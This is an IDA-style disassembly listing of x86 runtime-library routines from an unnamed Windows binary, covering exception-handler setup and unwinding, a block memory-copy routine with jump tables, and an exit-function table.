		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_415F0E:				; CODE XREF: sub_415E4B+84j
		call	sub_419EDC
		add	esp, 1Ch


loc_415F16:				; CODE XREF: sub_415E4B+59j
					; sub_415E4B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415E4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F1A	proc near		; CODE XREF: sub_41AFD9+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_415F1A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_415F4E	proc near		; CODE XREF: sub_41B18A+199p
					; sub_41B34E+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_415F4E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415F55	proc near		; CODE XREF: sub_41B18A+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_415F55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F5C	proc near		; CODE XREF: sub_41610E+5Cp
					; sub_41AFD9:loc_41B00Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_415F84
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_420A0C	; RtlUnwind


loc_415F84:				; DATA XREF: sub_415F5C+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_415F5C	endp

; ---------------------------------------------------------------------------


loc_415FAB:				; CODE XREF: .text:00420B68j
					; .text:00420B85j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41ABDE
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FE1	proc near		; CODE XREF: sub_41B054+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_416035
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41B3E0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_415FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416035	proc near		; DATA XREF: sub_415FE1+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41ABDE
		add	esp, 20h
		pop	ebp
		retn
sub_416035	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41605A	proc near		; CODE XREF: sub_41AE20+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41610E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_4160E0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_46BB88
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_4160E0:				; DATA XREF: sub_41605A+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_4160FD
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_416106
; ---------------------------------------------------------------------------


loc_4160FD:				; CODE XREF: sub_41605A+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_416106:				; CODE XREF: sub_41605A+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41605A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41610E	proc near		; DATA XREF: sub_41605A+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_416131
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41617E
; ---------------------------------------------------------------------------


loc_416131:				; CODE XREF: sub_41610E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41ABDE
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41616F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_415F5C


loc_41616F:				; CODE XREF: sub_41610E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41617E:				; CODE XREF: sub_41610E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41610E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416183	proc near		; CODE XREF: sub_41AC79+C6p
					; sub_41AE20+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_4161DA


loc_4161A1:				; CODE XREF: sub_416183+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4161AB
		call	sub_41B482


loc_4161AB:				; CODE XREF: sub_416183+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_4161C0
		cmp	ecx, [eax+8]
		jle	short loc_4161C5


loc_4161C0:				; CODE XREF: sub_416183+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4161D1


loc_4161C5:				; CODE XREF: sub_416183+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_4161D1:				; CODE XREF: sub_416183+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_4161A1
		mov	eax, [ebp+var_4]


loc_4161DA:				; CODE XREF: sub_416183+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_4161EE
		cmp	esi, eax
		jbe	short loc_4161F3


loc_4161EE:				; CODE XREF: sub_416183+65j
		call	sub_41B482


loc_4161F3:				; CODE XREF: sub_416183+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_416183	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416200	proc near		; CODE XREF: sub_41D6A4+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_416218
		push	[ebp+arg_0]
		call	sub_420A0C	; RtlUnwind


loc_416218:				; DATA XREF: sub_416200+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416200	endp


; =============== S U B	R O U T	I N E =======================================



sub_416220	proc near		; DATA XREF: sub_416242+Ao
					; sub_4162AA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_416241
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_416241:				; CODE XREF: sub_416220+10j
		retn
sub_416220	endp


; =============== S U B	R O U T	I N E =======================================



sub_416242	proc near		; CODE XREF: sub_41B0FA+Dp
					; sub_41D6A4+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_416220
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41625F:				; CODE XREF: sub_416242:loc_41629Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41629C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41629C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41629A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4162D6
		call	dword ptr [ebx+esi*4+8]


loc_41629A:				; CODE XREF: sub_416242+44j
		jmp	short loc_41625F
; ---------------------------------------------------------------------------


loc_41629C:				; CODE XREF: sub_416242+2Aj
					; sub_416242+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_416242	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162AA	proc near		; CODE XREF: sub_41B11A+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_416220
		jnz	short locret_4162CC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4162CC
		mov	eax, 1

locret_4162CC:				; CODE XREF: sub_4162AA+10j
					; sub_4162AA+1Bj
		retn
sub_4162AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162CD	proc near		; CODE XREF: sub_41B3E0+1Ep
					; sub_41B3E0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4383CC
		jmp	short loc_4162E0
sub_4162CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162D6	proc near		; CODE XREF: sub_416242+4Fp
					; sub_41D6A4+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4383CC
		mov	ecx, [ebp+8]


loc_4162E0:				; CODE XREF: sub_4162CD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4162D6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4162F0	proc near		; CODE XREF: sub_40467C+5p
					; sub_40481B+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4162F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41630F	proc near		; CODE XREF: sub_404CE4+22p
					; .text:004207E5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415C9B
		pop	ecx
		retn
sub_41630F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416320	proc near		; CODE XREF: sub_404D51+3Ap
					; sub_418CE8+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_416340
		cmp	edi, eax
		jb	loc_4164B8


loc_416340:				; CODE XREF: sub_416320+16j
		test	edi, 3
		jnz	short loc_41635C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41637C
		rep movsd
		jmp	off_416468[edx*4]
; ---------------------------------------------------------------------------


loc_41635C:				; CODE XREF: sub_416320+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_416374
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41637C+4[eax*4]
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: sub_416320+46j
		jmp	dword ptr loc_416478[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41637C:				; CODE XREF: sub_416320+31j
					; sub_416320+8Ej ...
		jmp	off_4163FC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 63h,	41h, 0
		dd offset loc_4163BC
		dd offset loc_4163E0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41637C
		rep movsd
		jmp	off_416468[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4163BC:				; DATA XREF: sub_416320+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41637C
		rep movsd
		jmp	off_416468[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4163E0:				; DATA XREF: sub_416320+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41637C
		rep movsd
		jmp	off_416468[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4163FC	dd offset loc_41645F	; DATA XREF: sub_416320:loc_41637Cr
		dd offset loc_41644C
		dd offset loc_416444
		dd offset loc_41643C
		dd offset loc_416434
		dd offset loc_41642C
		dd offset loc_416424
		dd offset loc_41641C
; ---------------------------------------------------------------------------


loc_41641C:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_416424:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41642C:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_416434:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41643C:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_416444:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41644C:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41645F:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320:off_4163FCo
		jmp	off_416468[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_416468	dd offset loc_416478	; DATA XREF: sub_416320+35r
					; sub_416320+92r ...
		dd offset loc_416480
		dd offset loc_41648C
		dd offset loc_4164A0
; ---------------------------------------------------------------------------


loc_416478:				; CODE XREF: sub_416320+35j
					; sub_416320+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_416480:				; CODE XREF: sub_416320+35j
					; sub_416320+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41648C:				; CODE XREF: sub_416320+35j
					; sub_416320+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4164A0:				; CODE XREF: sub_416320+35j
					; sub_416320+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4164B8:				; CODE XREF: sub_416320+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4164EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4164E0
		std
		rep movsd
		cld
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4164E0:				; CODE XREF: sub_416320+1B1j
					; sub_416320+208j ...
		neg	ecx
		jmp	off_4165B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4164EC:				; CODE XREF: sub_416320+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416504
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_416504+4[eax*4]
; ---------------------------------------------------------------------------


loc_416504:				; CODE XREF: sub_416320+1D6j
					; DATA XREF: sub_416320+1DDr
		jmp	off_416600[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416517+1
; ---------------------------------------------------------------------------
		cmp	[ebp+arg_39], ah
		add	[eax+65h], ah
		inc	ecx


loc_416517:				; DATA XREF: sub_416320+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4164E0
		std
		rep movsd
		cld
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4164E0
		std
		rep movsd
		cld
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4164E0
		std
		rep movsd
		cld
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4165B4
		dd offset loc_4165BC
		dd offset loc_4165C4
		dd offset loc_4165CC
		dd offset loc_4165D4
		dd offset loc_4165DC
		dd offset loc_4165E4
off_4165B0	dd offset loc_4165F7	; DATA XREF: sub_416320+1C2r
; ---------------------------------------------------------------------------


loc_4165B4:				; DATA XREF: sub_416320+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4165BC:				; DATA XREF: sub_416320+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4165C4:				; DATA XREF: sub_416320+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4165CC:				; DATA XREF: sub_416320+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4165D4:				; DATA XREF: sub_416320+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4165DC:				; DATA XREF: sub_416320+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4165E4:				; DATA XREF: sub_416320+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4165F7:				; CODE XREF: sub_416320+1C2j
					; DATA XREF: sub_416320:off_4165B0o
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416600	dd offset loc_416610	; DATA XREF: sub_416320+1B7r
					; sub_416320:loc_416504r ...
		dd offset loc_416618
		dd offset loc_416628
		dd offset loc_41663C
; ---------------------------------------------------------------------------


loc_416610:				; CODE XREF: sub_416320+1B7j
					; sub_416320:loc_416504j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416618:				; CODE XREF: sub_416320+1B7j
					; sub_416320:loc_416504j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416628:				; CODE XREF: sub_416320+1B7j
					; sub_416320:loc_416504j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41663C:				; CODE XREF: sub_416320+1B7j
					; sub_416320:loc_416504j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_416320	endp


; =============== S U B	R O U T	I N E =======================================



sub_416655	proc near		; CODE XREF: sub_404DB8+34p
					; sub_404DB8+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415BFB
		pop	ecx
		pop	ecx
		retn
sub_416655	endp


; =============== S U B	R O U T	I N E =======================================



sub_416663	proc near		; CODE XREF: sub_4166D0+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_46D17C
		call	sub_41B4D8
		mov	edx, dword_46D17C
		pop	ecx
		mov	ecx, dword_46D178
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_4166C2
		push	edx
		call	sub_41B4D8
		add	eax, 10h
		push	eax
		push	dword_46D17C
		call	sub_41737F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4166A5
		retn
; ---------------------------------------------------------------------------


loc_4166A5:				; CODE XREF: sub_416663+3Fj
		mov	ecx, dword_46D178
		sub	ecx, dword_46D17C
		mov	dword_46D17C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_46D178, ecx


loc_4166C2:				; CODE XREF: sub_416663+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_46D178, 4
		retn
sub_416663	endp


; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_404EA5+1Ap
					; sub_4209EE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_416663
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_4166D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4166E2	proc near		; DATA XREF: .text:00423018o
		push	80h
		call	sub_415BE9
		test	eax, eax
		pop	ecx
		mov	dword_46D17C, eax
		jnz	short loc_416703
		push	18h
		call	sub_417C0E
		mov	eax, dword_46D17C
		pop	ecx


loc_416703:				; CODE XREF: sub_4166E2+12j
		and	dword ptr [eax], 0
		mov	eax, dword_46D17C
		mov	dword_46D178, eax
		retn
sub_4166E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416711	proc near		; CODE XREF: sub_418AD0+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416728
		add	esp, 10h
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416728	proc near		; CODE XREF: sub_416711+Ep
					; sub_416930+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_416740:				; CODE XREF: sub_416728+46j
		cmp	dword_4385FC, 1
		jle	short loc_416758
		movzx	eax, bl
		push	8
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_416767
; ---------------------------------------------------------------------------


loc_416758:				; CODE XREF: sub_416728+1Fj
		mov	ecx, off_4383F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_416767:				; CODE XREF: sub_416728+2Ej
		test	eax, eax
